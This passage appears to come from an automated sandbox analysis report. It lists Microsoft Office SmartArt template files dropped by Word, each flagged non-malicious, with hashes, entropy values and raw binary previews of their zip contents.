Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

